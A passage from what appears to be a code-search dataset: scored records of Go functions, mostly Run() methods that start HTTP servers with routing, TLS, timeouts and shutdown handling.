errs)\n\n\treturn <-errs\n}", "title": "" }, { "docid": "aa56b00477a4f34866bcb41702c95422", "score": "0.74876696", "text": "func (s *Server) Run() error {\n\tmux := http.NewServeMux()\n\tmux.HandleFunc(\"/healthz\", healthz)\n\tmux.Handle(\"/metrics\", promhttp.Handler())\n\tmux.Handle(\"/index\", newLogMiddleware(util.CopyZipkinHeaders(http.HandlerFunc(s.index)), s.logger))\n\n\ts.server = &http.Server{\n\t\tAddr: s.address,\n\t\tHandler: mux,\n\t}\n\n\tif err := s.server.ListenAndServe(); err != nil {\n\t\tif err != http.ErrServerClosed {\n\t\t\treturn errors.Wrap(err, \"failed to run main http server\")\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "35cb3e88925a39a9f464314f4cd0cd59", "score": "0.7466066", "text": "func (s *Server) Run() error {\n\ts.route.HideBanner = true\n\tlog.Info().Msg(\"Server start on localhost:5002/\")\n\treturn s.route.Start(\":5002\")\n}", "title": "" }, { "docid": "1f5d7f39c28f3331f448863ed9f50103", "score": "0.74601763", "text": "func Run(params ContextParams) {\n\tr := CreateRouter(params)\n\n\tendless.DefaultHammerTime = 10 * time.Second\n\tendless.DefaultReadTimeOut = 295 * time.Second\n\tif err := endless.ListenAndServe(\":5009\", r); err != nil {\n\t\tlog.Infof(\"Server stopped: %s\", err)\n\t}\n}", "title": "" }, { "docid": "855bfa29f22fb5039fcd95c765862c19", "score": "0.74420196", "text": "func (h *Handler) Run() {\n\tsrv := &http.Server{\n\t\tHandler: h,\n\t\tAddr: h.options.ListenAddress,\n\t\tReadTimeout: h.options.ReadTimeout * time.Second,\n\t\tWriteTimeout: h.options.WriteTimeout * time.Second,\n\t}\n\n\tif listener, err := net.Listen(\"tcp\", srv.Addr); err == nil {\n\t\th.errorCh <- srv.Serve(listener)\n\t} else {\n\t\th.errorCh <- err\n\t}\n}", "title": "" }, { "docid": "2849d9e594003e650e0a333c1bf96ce1", "score": "0.74322474", "text": "func (s *HTTPServer) Run() error {\n\n\t// Add routes\n\ts.Routes()\n\n\treturn s.http.ListenAndServe()\n}", "title": "" }, { "docid": "a08c80ca1e9d0fe168346b40b74b3642", "score": "0.7421517", "text": "func (s *Server) Run(c poller.Collect) error {\n\ts.Collect = c\n\tif s.Config == nil || s.Port == 0 || s.HTMLPath == \"\" || !s.Enabled() {\n\t\ts.LogDebugf(\"Internal web server disabled!\")\n\t\treturn nil\n\t}\n\ts.Logf(\"Internal web server enabled\")\n\n\tif _, err := os.Stat(s.HTMLPath); err != nil {\n\t\treturn fmt.Errorf(\"problem with HTML path: %w\", err)\n\t}\n\n\tUpdateOutput(&Output{Name: PluginName, Config: s.Config})\n\n\treturn s.Start()\n}", "title": "" }, { "docid": "ea018e44ee0150e744b4fff30b30b2b0", "score": "0.7418521", "text": "func (app *App) Run() {\n\tgo func() {\n\t\tif err := app.httpServer.ListenAndServe(); err != nil && err != http.ErrServerClosed {\n\t\t}\n\t}()\n}", "title": "" }, { "docid": "c8a84ecd0a8711ab48142e6d4dc06933", "score": "0.7417156", "text": "func (s *Server) Run() {\n\ts.addRoutes()\n\n\tport := fmt.Sprintf(\":%d\", s.Port)\n\tfmt.Printf(\"Listening on %s\\n\", port)\n\tlog.Fatal(http.ListenAndServe(port, s.router))\n}", "title": "" }, { "docid": "4dd7f6dabe8ead38fd298ea74267fdb4", "score": "0.7411174", "text": "func (s *Server) Run(ctx context.Context, wg *sync.WaitGroup) error {\n\tdefer wg.Done()\n\treturn s.serve(ctx)\n}", "title": "" }, { "docid": "83d7f18567ec583520910e13d1f7449b", "score": "0.7397781", "text": "func (s *Server) Run() error {\n\trouter := s.newRouter()\n\n\tlog.G(context.TODO()).WithField(\"address: \", s.config.ServerAddr).Info(\"Starting Request API Server:\")\n\tif err := http.ListenAndServe(s.config.ServerAddr, router); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "fc9351e2c3ecd6a64c6e1b6ef3a141af", "score": "0.7366312", "text": "func (bunny *Bunny) Run() {\n\thttp.HandleFunc(\"/\", bunny.router)\n\tif bunny.Host == \"\" {\n\t\tbunny.Host = \"127.0.0.1\"\n\t}\n\tif bunny.Port == 0 {\n\t\tbunny.Port = 9000\n\t}\n\taddr := fmt.Sprintf(\"%s:%d\", bunny.Host, bunny.Port)\n\tfmt.Printf(runningMsg, version, bunny.Port, addr)\n\terr := http.ListenAndServe(addr, nil)\n\tif err != nil {\n\t\tlog.Fatal(\"Error\", err)\n\t}\n}", "title": "" }, { "docid": "052ca9971ef7447e9d989e9fb12f423a", "score": "0.734142", "text": "func (s *Server) Run(addr string) error {\n\thttp.ListenAndServe(addr, s)\n\treturn nil\n}", "title": "" }, { "docid": "08660df1d488572038d6aec3457c4e65", "score": "0.7339402", "text": "func Run() error {\n\tmux := http.NewServeMux()\n\tmux.HandleFunc(\"/reservations\", reservationHandler)\n\tmux.HandleFunc(\"/reservations/confirm\", confirmationHandler)\n\n\ts := createServer(addr, mux)\n\tgo listen(s)\n\terr := awaitShutdown(s)\n\treturn err\n}", "title": "" }, { "docid": "910a1c1109ccea7d5a75802689464214", "score": "0.73246926", "text": "func (s *HTTPServer) Run() error {\n\ts.Engine.Run(fmt.Sprintf(\":%s\", strconv.Itoa(s.config.Port)))\n\n\treturn nil\n}", "title": "" }, { "docid": "0a0c47727721f39ce9429d2e03382bdd", "score": "0.7298081", "text": "func (s *Server) Run(stopCh <-chan struct{}) error {\n\tdefer utilruntime.HandleCrash()\n\n\tklog.Info(\"Starting the web controller\")\n\n\tklog.Info(\"Waiting for informer caches to sync\")\n\tif ok := cache.WaitForCacheSync(stopCh, s.deploymentsSynced); !ok {\n\t\treturn fmt.Errorf(\"failed to wait for caches to sync\")\n\t}\n\n\trouter := mux.NewRouter()\n\tpathPrefix := s.contextPath()\n\n\trouter.HandleFunc(\"/healthz\", s.handleHealth)\n\n\tappRouter := router\n\tif pathPrefix != \"\" {\n\t\tappRouter = router.PathPrefix(pathPrefix).Subrouter()\n\t}\n\n\tappRouter.HandleFunc(\"/api/v1/deployments\", s.handleListDeployments).Methods(\"GET\")\n\n\tfs := http.FileServer(http.Dir(\"ui/dist\"))\n\tassetPaths := []string{\"/css/\", \"/js/\", \"/img/\"}\n\tfor _, path := range assetPaths {\n\t\tappRouter.PathPrefix(path).Handler(http.StripPrefix(pathPrefix, fs))\n\t}\n\n\tappRouter.PathPrefix(\"/\").Handler(http.HandlerFunc(s.handleIndex))\n\n\tklog.Info(\"Starting server on port 8080\")\n\tklog.Info(\"External URL:\", s.externalURL)\n\n\tsrv := http.Server{\n\t\tAddr: \":8080\",\n\t\tHandler: router,\n\t\tReadTimeout: 15 * time.Second,\n\t\tWriteTimeout: 15 * time.Second,\n\t}\n\tgo func() { srv.ListenAndServe() }()\n\n\t<-stopCh\n\n\tklog.Info(\"Shutting down HTTP server\")\n\tif err := srv.Shutdown(context.Background()); err != nil {\n\t\treturn fmt.Errorf(\"HTTP server Shutdown: %v\", err)\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "18a2cc1ebe58afb35536899544581033", "score": "0.7289849", "text": "func (srv *Server) Run() {\n\tif srv.Monitor != nil {\n\t\tsrv.Monitor.Repository.Open()\n\t}\n\tsrv.status = serverStatusStarted\n\tgo srv.eventLoop()\n\tfor _, ln := range srv.tcpListener {\n\t\tgo srv.serveTCP(ln)\n\t}\n\tif len(srv.websocketServer) != 0 {\n\t\thttp.HandleFunc(\"/\", func(w http.ResponseWriter, r *http.Request) {\n\t\t\tc, err := defaultUpgrader.Upgrade(w, r, nil)\n\t\t\tif err != nil {\n\t\t\t\tlog.Println(\"upgrade:\", err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tdefer c.Close()\n\t\t\tconn := &wsConn{c.UnderlyingConn(), c}\n\t\t\tclient := srv.newClient(conn)\n\t\t\tclient.serve()\n\n\t\t})\n\t}\n\tfor _, server := range srv.websocketServer {\n\t\tgo srv.serveWebSocket(server)\n\t}\n}", "title": "" }, { "docid": "9dcecb2978a8ca9c32a1a2f7de657528", "score": "0.7278101", "text": "func Run() {\n\tcfg, err := config.Init()\n\tif err != nil {\n\t\tlog.Fatalf(err.Error())\n\t\treturn\n\t}\n\tservice := svc.NewService()\n\thandler := httpx.NewHandler(service)\n\trouter := handler.Init()\n\tsrv := server.NewServer(cfg, router)\n\tif err := srv.Run(); !errors.Is(err, http.ErrServerClosed) {\n\t\tlog.Fatalf(\"error occurred while running http server: %s\\n\", err.Error())\n\t}\n}", "title": "" }, { "docid": "6ed335a1d7174e6ebf4d810250a1d1d1", "score": "0.72660285", "text": "func (s *Server) Run() {\n\tlog.Fatal(s.server.ListenAndServe())\n}", "title": "" }, { "docid": "6117b70cc46da27ec3892a34aec8bae3", "score": "0.7251577", "text": "func (s *Server) Run(addr string) error {\n\treturn http.ListenAndServe(addr, s.handler)\n}", "title": "" }, { "docid": "a0e1e9282fd5223c47e31bd82710d258", "score": "0.7222246", "text": "func Run() {\n\tconfig.Load()\n\tfmt.Printf(\"Listening... localhost:%d\", config.PORT)\n\tlisten(config.PORT)\n}", "title": "" }, { "docid": "1e512ad7767f04688a59aa1623e0d456", "score": "0.721308", "text": "func (w *Webapp) Run() {\n\tw.server = &http.Server{Addr: \":9976\"}\n\n\thttp.HandleFunc(\"/\", w.handleAuthResponse)\n\thttp.HandleFunc(\"/favicon.ico\", w.handleFavicon)\n\n\tw.server.ListenAndServe()\n}", "title": "" }, { "docid": "a426c74742bf4f8a50a63c2ac63d5234", "score": "0.72086746", "text": "func (app *Application) Run() {\n\tlog.Printf(\"Starting up server (pid: %d) on %s\", os.Getpid(), app.Config.InternalHost)\n\t// log.Printf(\"Internal host: %s, external host: %s\", app.Config.InternalHost, app.Config.ExternalHost)\n\tapp.RegisterSCV()\n\tapp.LoadStreams()\n\tgo func() {\n\t\tlog.Println(\"Success! Now serving requests...\")\n\t\terr := app.server.ListenAndServe()\n\t\tif err != nil {\n\t\t\tlog.Println(\"ListenAndServe: \", err)\n\t\t}\n\t}()\n\tgo app.RecordDeferredDocs()\n\tc := make(chan os.Signal, 1)\n\tsignal.Notify(c, os.Interrupt, os.Kill, syscall.SIGTERM)\n\t<-c\n\tapp.Shutdown()\n}", "title": "" }, { "docid": "ded175f3e7d5e703aa9301e6c7d8f93f", "score": "0.7207151", "text": "func Run(c *config.Config) error {\n\ts, err := newServer(c)\n\tif err != nil {\n\t\treturn err\n\t}\n\tlog.Println(\"Starting Dumpster Server on: \", c.HTTP.Address)\n\tlog.Println(\" basic auth from: \", c.HTTP.BasicAuthFile)\n\tlog.Println(\" data dir:\", c.DataDir)\n\tba := NewBasicAuthHandler(s, c.HTTP.BasicAuthFile)\n\terrorChan := make(chan (error))\n\tif len(c.HTTP.Address) > 0 {\n\t\tgo func() {\n\t\t\terrorChan <- http.ListenAndServe(c.HTTP.Address, ba)\n\t\t}()\n\t}\n\tif c.HTTP.TLS != nil {\n\t\tgo func() {\n\t\t\tlog.Println(\"tls is configured: \", c.HTTP.TLS)\n\t\t\ttlsServer := &http.Server{\n\t\t\t\tAddr: c.HTTP.TLS.Address,\n\t\t\t\tHandler: ba,\n\t\t\t\tTLSConfig: getTLSConfig(),\n\t\t\t}\n\t\t\terrorChan <- tlsServer.ListenAndServeTLS(c.HTTP.TLS.Cert, c.HTTP.TLS.Key)\n\t\t}()\n\t}\n\treturn <-errorChan\n}", "title": "" }, { "docid": "9483b11169c01f988d496e1fa0e3ce55", "score": "0.7200964", "text": "func (s *Server) Run() error {\n\treturn s.ListenAndServe()\n}", "title": "" }, { "docid": "88b6445f686d5088aba9a54c34539af4", "score": "0.7199203", "text": "func (s *Server) Run(addr string) {\n\tlog.Fatal(http.ListenAndServe(addr, s.Router))\n}", "title": "" }, { "docid": "e3ecffeecd1c497f80163b9e5681c1ca", "score": "0.71964765", "text": "func (rn *Runner) Run(addr string) {\n\thttp.Handle(\"/\", rn.hdl)\n\tlog.Fatal(http.ListenAndServe(addr, nil))\n}", "title": "" }, { "docid": "91f37d089a3197828230cba085a9f83a", "score": "0.71949655", "text": "func (a *App) Run() {\n\tif err := http.ListenAndServe(serverAddr, a.router); err != nil {\n\t\tpanic(err)\n\t}\n}", "title": "" }, { "docid": "1b9a0e6988068cc1ddc8381d43c29828", "score": "0.7190556", "text": "func (s *Server) Run(ctx context.Context) {\n\tlog.Infof(\"Opening status port %d\\n\", s.statusPort)\n\n\t// Add the handler for ready probes.\n\thttp.HandleFunc(readyPath, s.handleReadyProbe)\n\n\tl, err := net.Listen(\"tcp\", fmt.Sprintf(\":%d\", s.statusPort))\n\tif err != nil {\n\t\tlog.Errorf(\"Error listening on status port: %v\", err.Error())\n\t\treturn\n\t}\n\tdefer l.Close()\n\n\tgo func() {\n\t\tif err := http.Serve(l, nil); err != nil {\n\t\t\tlog.Errora(err)\n\t\t\tos.Exit(-1)\n\t\t}\n\t}()\n\n\t// Wait for the agent to be shut down.\n\t<-ctx.Done()\n}", "title": "" }, { "docid": "80269987ab38dd2b8c3440f30787451b", "score": "0.7187034", "text": "func (s *Server) Run() (http.Handler, error) {\n\treturn s.setupHandlers(), nil\n}", "title": "" }, { "docid": "b6d95fcc63500e2c409a6ef4cacf65b1", "score": "0.71865386", "text": "func (s *Splendid) Run() {\n\ts.config = configuration.GetConfig()\n\n\t// Dump debug info.\n\tif s.config.Debug {\n\t\tlog.Println(\"DEBUG ENABLED: Dumping config and exiting.\")\n\t\tlog.Println(s.config)\n\t\tos.Exit(0)\n\t}\n\n\t// Dump copyright info.\n\tif s.config.Copyrights {\n\t\tlog.Println(\"COPYRIGHT Information\")\n\t\tdata, err := ioutil.ReadFile(\"COPYRIGHTS\")\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t\tos.Exit(1)\n\t\t}\n\t\tlog.Println(string(data))\n\t\tos.Exit(0)\n\t}\n\n\t// Initialize GIT\n\ts.git = &utils.Git{\n\t\tPath: s.config.Workspace,\n\t}\n\terr := s.git.Open()\n\tif err != nil {\n\t\tlog.Fatalf(\"Could not open GIT repo: %v\", err)\n\t}\n\n\t// Kickstart the webserver if enabled.\n\tif s.config.WebserverEnabled {\n\t\tif s.config.DisableCollection {\n\t\t\t// Collection is disabled, run on the main thread.\n\t\t\tweb.RunTheServer()\n\t\t} else {\n\t\t\t// Start coroutine for webserver.\n\t\t\tgo web.RunTheServer()\n\t\t}\n\t}\n\t// Kickstart the main collector thread.\n\ts.threadCollectors()\n}", "title": "" }, { "docid": "889fddc811231f5e13b231be2f1945bf", "score": "0.718098", "text": "func (h *Handler) Run() {\n\tlog.Infof(\"Listening on %s\", h.options.ListenAddress)\n\toperationName := nethttp.OperationNameFunc(func(r *http.Request) string {\n\t\treturn fmt.Sprintf(\"%s %s\", r.Method, r.URL.Path)\n\t})\n\tserver := &http.Server{\n\t\tAddr: h.options.ListenAddress,\n\t\tHandler: nethttp.Middleware(opentracing.GlobalTracer(), h.router, operationName),\n\t\tErrorLog: log.NewErrorLogger(),\n\t\tReadTimeout: h.options.ReadTimeout,\n\t}\n\tlistener, err := net.Listen(\"tcp\", h.options.ListenAddress)\n\tif err != nil {\n\t\tlog.Error(err)\n\t\th.listenErrCh <- err\n\t} else {\n\t\tlog.Info(\"limitedListener\")\n\t\tlimitedListener := netutil.LimitListener(listener, h.options.MaxConnections)\n\t\th.listenErrCh <- server.Serve(limitedListener)\n\t}\n\tlog.Info(\"run ok\")\n}", "title": "" }, { "docid": "63d2f32944ddba476112ecb6193be645", "score": "0.71634525", "text": "func (t Togo) Run() error {\n\tLog.Printf(\"Running at %s\\n\", t.server.Addr)\n\treturn t.server.ListenAndServe()\n}", "title": "" }, { "docid": "9374e0b4036be7d50281dc0a4199f091", "score": "0.71559745", "text": "func (v *Verto) Run() {\n\tv.RunOn(\":8080\")\n}", "title": "" }, { "docid": "6077fce7d4f9c50860e60bf9044b3e5b", "score": "0.71525556", "text": "func Run(addr string, reinitC chan bool) {\n\treinit = reinitC\n\tsrv = http.Server{\n\t\tAddr: addr,\n\t\tErrorLog: output.Log,\n\t}\n\n\thttp.HandleFunc(\"/\", indexHandler)\n\thttp.HandleFunc(\"/static/\", contentHandler)\n\thttp.HandleFunc(\"/store\", postHandler)\n\thttp.HandleFunc(\"/config\", configHandler)\n\n\tsigint := make(chan os.Signal, 1)\n\tsignal.Notify(sigint, os.Interrupt)\n\n\tgo func() {\n\t\tfmt.Printf(\"Starting server on URL/Port: %v\\n\", addr)\n\t\terr := srv.ListenAndServe()\n\t\toutput.Pf(\"\", err, true) //Exit\n\t}()\n\n\t<-sigint\n}", "title": "" }, { "docid": "2f114f011632dc6082963d0a60870b3d", "score": "0.7137238", "text": "func (el *Layer) Run() {\n\tgo func() {\n\t\thttp.ListenAndServe(\":5000\", el.handler)\n\t}()\n}", "title": "" }, { "docid": "59479f3bd26d4666b7c1582157c150cc", "score": "0.7134325", "text": "func (s *Server) Run() (err error) {\n\n\tif len(s.apis) == 0 {\n\t\treturn errors.New(\"No APIs defined for server\")\n\t}\n\n\t// Server the console swagger UI\n\ts.router.ServeFiles(\"/console/*filepath\", http.Dir(Config.Server.ConsoleFilesPath))\n\n\t// Start a stoppable listener\n\tvar l net.Listener\n\n\tif l, err = net.Listen(\"tcp\", s.addr); err != nil {\n\t\treturn fmt.Errorf(\"Could not listen in server: %s\", err)\n\t}\n\n\tif s.listener, err = stoppableListener.New(l); err != nil {\n\t\treturn fmt.Errorf(\"Could not start stoppable listener in server: %s\", err)\n\t}\n\n\tlogging.Info(\"Starting server on %s\", s.listener.Addr().String())\n\n\ts.wg.Add(1)\n\tdefer func() {\n\t\ts.wg.Done()\n\t\t// don't return an error on server stopped\n\t\tif err == stoppableListener.StoppedError {\n\t\t\terr = nil\n\t\t}\n\t}()\n\n\tsrv := http.Server{\n\t\tHandler: s.router,\n\t\tReadTimeout: time.Duration(Config.Server.ClientTimeout) * time.Second,\n\t\tWriteTimeout: time.Duration(Config.Server.ClientTimeout) * time.Second, // maximum duration before timing out write of the response\n\t}\n\treturn srv.Serve(s.listener)\n\n}", "title": "" }, { "docid": "2f5d1d8f064ab6efa54a86e45e6832e2", "score": "0.7132121", "text": "func (g *GitHTTPServer) Run() error {\n\thandler := githttp.New(g.path)\n\thttp.Handle(\"/\", handler)\n\n\t//TODO: handling error from ListenAndServe\n\tgo func() {\n\t\taddr := fmt.Sprintf(\":%d\", g.port)\n\t\terr := http.ListenAndServe(addr, nil)\n\t\tif err != nil {\n\t\t\tfmt.Printf(\"Failed to start http(%v)\\n\", err)\n\t\t\tlog.Fatal(\"fatal\")\n\t\t} else {\n\t\t\tfmt.Printf(\"start http(%v)\\n\", err)\n\t\t}\n\t}()\n\treturn nil\n}", "title": "" }, { "docid": "32284630a87187f3caad93eda6752ba5", "score": "0.7130147", "text": "func (s *Server) Run() {\n\tgo func() {\n\t\tmux := http.NewServeMux()\n\t\tmux.HandleFunc(\"/send\", s.sendHandler)\n\n\t\ts.httpSrv.Addr = s.httpAddr\n\t\ts.httpSrv.Handler = mux\n\n\t\tlog.Infof(\"start cluster http server on address \\\"%s\\\"\", s.httpAddr)\n\t\terr := s.httpSrv.ListenAndServe()\n\t\tif err != nil {\n\t\t\tlog.Error(errors.Wrap(err, \"http\"))\n\t\t}\n\t}()\n}", "title": "" }, { "docid": "ed71afec30513d790e28dca8da1878b3", "score": "0.7126103", "text": "func (s *Server) Run(ctx context.Context) error {\n\treturn s.Start(ctx)\n}", "title": "" }, { "docid": "1728a739ebe88dd527884829901478cc", "score": "0.7119597", "text": "func (s *BoreServer) Run() error {\n\terrch := make(chan error)\n\n\tgo func() {\n\t\tif err := s.httpServer.Run(s.opts.HTTPAddr, s.getHandler(s.handleHTTP())); err != nil {\n\t\t\terrch <- err\n\t\t}\n\t}()\n\n\tgo func() {\n\t\tif err := s.sshServer.Run(); err != nil {\n\t\t\terrch <- err\n\t\t}\n\t}()\n\n\tgo func() {\n\t\tif err := s.httpServer.Wait(); err != nil {\n\t\t\terrch <- err\n\t\t}\n\t}()\n\n\tgo func() {\n\t\tif err := s.sshServer.Wait(); err != nil {\n\t\t\terrch <- err\n\t\t}\n\t}()\n\n\treturn <-errch\n}", "title": "" }, { "docid": "4f5c662b40c24c6020c13efab6298591", "score": "0.7105959", "text": "func (s Server) Run(w http.ResponseWriter, r *http.Request) {\n\tconnection, err := upgrader.Upgrade(w, r, nil) // error ignored for sake of simplicity\n\n\tif err != nil {\n\t\tfmt.Printf(\"Error %v\\n\", err)\n\t\tconnection.Close()\n\t\treturn\n\t}\n\n\tfor {\n\t\t// Read message from browser\n\t\tmsgType, msg, err := connection.ReadMessage()\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\n\t\t// Print the message to the console\n\t\tfmt.Printf(\"%s sent: %s\\n\", connection.RemoteAddr(), string(msg))\n\n\t\t// Write message back to browser\n\t\tif err = connection.WriteMessage(msgType, msg); err != nil {\n\t\t\treturn\n\t\t}\n\t}\n}", "title": "" }, { "docid": "c64c080c6e5cf3da70178046910dc31b", "score": "0.71017957", "text": "func (s *Threescale) Run(shutdown chan error) {\n\tshutdown <- s.server.Serve(s.listener)\n}", "title": "" }, { "docid": "0fbc91c2d835a4c569f60ab6b0abf1bb", "score": "0.7084607", "text": "func (s *Server) Run() {\n\tr := &renderer{\n\t\ttemplates: template.New(\"\").Funcs(templateMap),\n\t}\n\tps, err := WalkDirs(\"templates\", true)\n\tif err != nil {\n\t\tlog.Error(err)\n\t\treturn\n\t}\n\tfor _, p := range ps {\n\t\tbytes, err := ReadFile(p)\n\t\tif err != nil {\n\t\t\tlog.Error(err)\n\t\t\treturn\n\t\t}\n\t\tr.templates.New(p).Parse(string(bytes))\n\t}\n\te := echo.New()\n\te.HideBanner = true\n\te.HidePort = true\n\te.Renderer = r\n\n\n\te.Use(func(next echo.HandlerFunc) echo.HandlerFunc {\n\t\treturn func(c echo.Context) error {\n\t\t\tcookie, err := c.Cookie(\"theme\")\n\t\t\tif err != nil {\n\t\t\t\tc.Set(\"theme\", \"sakura\")\n\t\t\t\treturn next(c)\n\t\t\t}\n\t\t\tc.Set(\"theme\", cookie.Value)\n\t\t\treturn next(c)\n\t\t}\n\t})\n\te.GET(\"/\", s.getIndex)\n\te.GET(\"/themes/:theme\", s.switchTheme)\n\te.GET(\"/posts/:hash\", s.getPost)\n\te.GET(\"/*\", echo.WrapHandler(Handler))\n\n\tlog.Fatal(e.StartTLS(s.listen, s.sslcert, s.sslkey))\n}", "title": "" }, { "docid": "32c3658abaea6d3e66eeff8e6625376a", "score": "0.7079522", "text": "func (hs HTTPServer) Run() {\n\t// make sure we can handle something\n\tif _, arimasu := hs.handlers[\"/\"]; !arimasu {\n\t\tlog.Println(\"No index handler\", hs)\n\t}\n\n\t// register handler to pattern\n\tfor pattern, handler := range hs.handlers {\n\t\thttp.HandleFunc(pattern, handler)\n\t}\n\n\t// run http server\n\tif err := http.ListenAndServe(hs.listenAddr, nil); err != nil {\n\t\tlog.Fatalln(\"Server fail to start\", err)\n\t}\n}", "title": "" }, { "docid": "bd26b9c06b6d5039c55274a38f81615f", "score": "0.70774585", "text": "func (w *WS) Run() {\n\tfmt.Println(\"server listening on\", w.targetAddress)\n\terr := http.ListenAndServe(w.targetAddress, nil)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n}", "title": "" }, { "docid": "75885c813f21b43df942d968b757a446", "score": "0.7077129", "text": "func (s *Service) Run() {\n\twebServer := InitServerAndController(s.db)\n\tgo func() {\n\t\twebServer.Run()\n\t}()\n\n\thttpS := dmsghttp.Server{\n\t\tPubKey: s.config.PubKey,\n\t\tSecKey: s.config.SecKey,\n\t\tPort: s.config.Port,\n\t\tDiscovery: s.config.Discovery,\n\t}\n\n\tlog.Infof(\"Starting cxo node with public key: %s and port: %v\", s.config.PubKey.Hex(), s.config.Port)\n\n\t// prepare server route handling\n\tmux := http.NewServeMux()\n\tmux.HandleFunc(notifyRoute, s.notifyHandler)\n\n\t// run the server\n\tsErr := make(chan error, 1)\n\tsErr <- httpS.Serve(mux)\n\tclose(sErr)\n}", "title": "" }, { "docid": "328474298e0397aa54cf7336cfea9bef", "score": "0.7062505", "text": "func (c *Checker) run() {\n\tlogger.Debug(\"running server\")\n\tc.server.Start()\n}", "title": "" }, { "docid": "1812b7e3962130534c531f66d9cea489", "score": "0.704611", "text": "func Run() {\n\thttp.HandleFunc(\"/recipes\", handleRecipes)\n\n\tif err := http.ListenAndServe(config.GetConfig().Addr, nil); err != nil {\n\t\tlog.Fatal(err)\n\t}\n}", "title": "" }, { "docid": "ef3b730bd8e396458fe81183a6b02c3c", "score": "0.70357984", "text": "func (a *adapter) Run() error {\n\ta.logger.Info(\"Starting listening and serving HTTP requests.\", zap.String(\"address\", a.config.Address))\n\n\tif err := a.server.ListenAndServe(a.config.Address); err != nil {\n\t\ta.logger.Error(\"Error listening and serving HTTP requests!\", zap.Error(err))\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "6c3da35c3267f5a1e5b8eb4c0b2c6c26", "score": "0.7021901", "text": "func (srv *Server) Run(ctx context.Context, errChan chan<- error) {\n\t// run on separate goroutine our http server\n\t// so it doesn't block Run function\n\tgo func(errChan chan<- error) {\n\t\tif err := srv.httpServer.ListenAndServe(); err != nil {\n\t\t\terrChan <- err\n\t\t}\n\t}(errChan)\n\n\t// wait until calling func says that the work is done on the behalf of Run function\n\t<-ctx.Done()\n\tnewCtx, cancel := context.WithTimeout(ctx, 5*time.Second)\n\tdefer cancel()\n\n\t// gracefully shutdown the server\n\terr := srv.httpServer.Shutdown(newCtx)\n\tif err != nil {\n\t\terrChan <- err\n\t}\n}", "title": "" }, { "docid": "e8744f8fd80d7e120baf445d4abf8da1", "score": "0.7011223", "text": "func (a *Application) Run() error {\n\ta.log.Info(\"Run application\")\n\n\ta.httpServer = http.NewServer(a.log, a.cfg.HttpPort, a.svc)\n\n\ta.log.Infof(\"Run HTTP server on port %v\", a.cfg.HttpPort)\n\terr := a.httpServer.Run()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"HTTP server run: %w\", err)\n\t}\n\ta.log.Info(\"HTTP server stopped\")\n\n\ta.log.Info(\"Application stopped\")\n\treturn nil\n}", "title": "" }, { "docid": "c85e591f06a7b08d238a6910d7f566d6", "score": "0.70109916", "text": "func (m *Mtail) Run() {\n\tif m.o.OneShot {\n\t\tm.RunOneShot()\n\t} else {\n\t\tm.Serve()\n\t}\n}", "title": "" }, { "docid": "5cca8e71c27fb44627f6fd5dfaf2d09b", "score": "0.6995263", "text": "func Run() {\n\tstatikFS, _ := fs.New()\n\trouter := mux.NewRouter().StrictSlash(true)\n\tfor _, route := range routes {\n\t\trouter.\n\t\t\tPath(route.Path).\n\t\t\tMethods(route.Method).\n\t\t\tName(route.Name).\n\t\t\tHandler(route.HandlerFunc)\n\t}\n\trouter.PathPrefix(\"/\").Handler(http.FileServer(statikFS))\n\thttp.ListenAndServe(\"127.0.0.1:8080\", router)\n}", "title": "" }, { "docid": "13956e8257f1e11eaaa74024c12519e8", "score": "0.6984007", "text": "func Run(addr, assets string, debug bool) error {\n\tserv := http.Server {\n\t\tReadTimeout: 60 * time.Second,\n\t\tWriteTimeout: 60 * time.Second,\n\t\tMaxHeaderBytes: 1 << 16,\n\t}\n\n\tif debug {\n\t\tlogger := log.New(os.Stdout, \"httpSimpleServer\", log.Lshortfile)\n\t\tserv.ErrorLog = logger\n\t\tserv.ConnState = checkConnState\n\t}\n\n\n\tlistener, err := net.Listen(\"tcp\", addr)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif _, err := os.Stat(assets); os.IsNotExist(err) {\n\t\treturn err\n\t}\n\n\thttp.Handle(\"/\", http.FileServer(http.Dir(assets)))\n\tgo serv.Serve(listener)\n\tdefer serv.Close()\n\tlog.Printf(\"\\nWelcome to simple HTTP server!\\nServer is available on %s\\nPut your static files here: %s\\nDebug mode: %v\", addr, assets, debug)\n\tlog.Println(\"Hit enter to exit\")\n\tbuf := make([]byte, 1)\n\tos.Stdin.Read(buf)\n\treturn nil\n}", "title": "" }, { "docid": "dd9747d12e3be7b11f38c44f893341a7", "score": "0.69790864", "text": "func (s *Server) Run(handler http.Handler) error {\n\tlogging.Println(logging.Info, \"listening on port:\", s.Env[\"PORT\"])\n\ts.server = http.Server{Addr: \":\" + s.Env[\"PORT\"], Handler: handler}\n\treturn s.server.ListenAndServeTLS(s.certFile, s.keyFile)\n}", "title": "" }, { "docid": "7c36860398e87243342e39d132a561a8", "score": "0.69772434", "text": "func Run() {\n\tloggy.Info.Println(\"Starting core...\")\n\n\taddr := fmt.Sprintf(\"%s:%d\", DefaultConfig.Host, DefaultConfig.Port)\n\n\tl, err := net.Listen(\"tcp\", addr)\n\tif err != nil {\n\t\tloggy.Error.Println(err)\n\t\treturn\n\t}\n\n\tloggy.Info.Println(\"Listening on:\", addr)\n\n\tif DefaultConfig.FCGI {\n\t\tfcgi.Serve(l, APP)\n\t} else {\n\t\thttp.Serve(l, APP)\n\t}\n}", "title": "" }, { "docid": "a4bea01bf0ba3712dd6aceb0b4e7e61a", "score": "0.6975613", "text": "func (e *Engine) Run(addr string) (err error) {\n\treturn http.ListenAndServe(addr, e)\n}", "title": "" }, { "docid": "66debba569a1ae45388cc24ab4edab7d", "score": "0.6966362", "text": "func (s *Server) Run() error {\n\toauth.InitOAuthServer(s.config.TokenSigningKey, s.config.ClientID, s.config.ClientSecret)\n\n\trouter := NewRouter()\n\n\tn := negroni.New()\n\tn.Use(middleware.NewAuth(s.config.TokenVerifyingKey))\n\tn.Use(middleware.NewRecovery())\n\tn.Use(middleware.NewLogger())\n\tn.UseHandler(router)\n\n\tsrv := 